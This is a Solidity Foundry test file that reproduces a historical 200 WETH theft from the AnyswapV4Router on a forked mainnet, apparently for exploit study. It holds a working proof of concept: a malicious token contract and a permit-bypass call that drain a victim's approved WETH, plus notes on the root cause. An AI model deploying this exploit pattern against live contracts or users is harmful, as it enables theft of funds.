src/test/2025-07/AnyswapWETHPermit_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 200 WETH
8// Attacker : 0xC0ffeEBABE5D496B2DDE509f9fa189C25cF29671
9// Attack Contract : 0xE08D97e151473A848C3d9CA3f323Cb720472D015
10// Vulnerable Contract : 0x6b7a87899490EcE95443e979cA9485CBE7E71522
11// Attack Tx : https://etherscan.io/tx/0xae79fdcfd7c36ed654d11b352b495340bd3cc47d0849c35ac6ffa1e4859098ec
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x6b7a87899490EcE95443e979cA9485CBE7E71522#code
15 
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1582
18//
19// Attack summary: The attacker used AnyswapV4Router.anySwapOutUnderlyingWithPermit with a malicious
20// AnySwap-compatible token whose underlying was WETH. WETH does not implement permit, but its fallback
21// accepts the call, so the router continued and transferred 200 WETH from a victim that had already
22// approved the router.
23// Root cause: The router trusted a successful permit call without confirming that the underlying token
24// actually enforced permit signatures.
25 
26address constant ATTACKER = 0xC0ffeEBABE5D496B2DDE509f9fa189C25cF29671;
27address constant ATTACK_CONTRACT = 0xE08D97e151473A848C3d9CA3f323Cb720472D015;
28address constant VULNERABLE_CONTRACT = 0x6b7a87899490EcE95443e979cA9485CBE7E71522;
29address constant VICTIM = 0x4527106ae1A661A9D2Ffc22575baCdaaCb5e51e0;
30address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
31 
32contract ContractTest is BaseTestWithBalanceLog {
33    AnyswapV4Router private constant router = AnyswapV4Router(VULNERABLE_CONTRACT);
34    WETH9 private constant weth = WETH9(WETH_TOKEN);
35    MaliciousAnyswapToken private maliciousToken;
36 
37    function setUp() public {
38        uint256 forkBlock = 23_026_899;
39        vm.createSelectFork("mainnet", forkBlock);
40 
41        fundingToken = WETH_TOKEN;
42        attacker = ATTACKER;
43 
44        vm.label(ATTACKER, "Attacker");
45        vm.label(ATTACK_CONTRACT, "Historical attack contract");
46        vm.label(VULNERABLE_CONTRACT, "AnyswapV4Router");
47        vm.label(VICTIM, "Victim");
48        vm.label(WETH_TOKEN, "WETH");
49 
50        maliciousToken = new MaliciousAnyswapToken(WETH_TOKEN, ATTACKER);
51        vm.label(address(maliciousToken), "Malicious AnySwap token");
52    }
53 
54    function testExploit() public balanceLog {
55        uint256 stolenAmount = 200 ether;
56 
57        // step 1: model the same-block victim WETH funding; the real max router allowance already exists.
58        vm.deal(VICTIM, stolenAmount);
59        vm.prank(VICTIM);
60        weth.deposit{value: stolenAmount}();
61        assertEq(weth.allowance(VICTIM, VULNERABLE_CONTRACT), type(uint256).max);
62 
63        uint256 victimBefore = weth.balanceOf(VICTIM);
64        uint256 attackerBefore = weth.balanceOf(ATTACKER);
65 
66        // step 2: call the verified router with dummy permit data; WETH fallback accepts the permit selector.
67        vm.startPrank(ATTACKER);
68        router.anySwapOutUnderlyingWithPermit(
69            VICTIM,
70            address(maliciousToken),
71            ATTACKER,
72            stolenAmount,
73            block.timestamp + 1,
74            0,
75            bytes32(0),
76            bytes32(0),
77            block.chainid
78        );
79 
80        // step 3: the attacker-controlled token forwards the WETH it received from the router transferFrom.
81        maliciousToken.sweep(ATTACKER);
82        vm.stopPrank();
83 
84        assertEq(weth.balanceOf(VICTIM), victimBefore - stolenAmount);
85        assertEq(weth.balanceOf(ATTACKER), attackerBefore + stolenAmount);
86        assertEq(weth.balanceOf(address(maliciousToken)), 0);
87    }
88}
89 
90contract MaliciousAnyswapToken {
91    WETH9 private immutable weth;
92    address private immutable owner;
93 
94    constructor(
95        address underlyingToken,
96        address tokenOwner
97    ) {
98        weth = WETH9(underlyingToken);
99        owner = tokenOwner;
100    }
101 
102    function underlying() external view returns (address) {
103        return address(weth);
104    }
105 
106    function depositVault(
107        uint256 amount,
108        address
109    ) external pure returns (uint256) {
110        return amount;
111    }
112 
113    function burn(
114        address,
115        uint256
116    ) external pure returns (bool) {
117        return true;
118    }
119 
120    function sweep(
121        address to
122    ) external {
123        require(msg.sender == owner, "only owner");
124        weth.transfer(to, weth.balanceOf(address(this)));
125    }
126}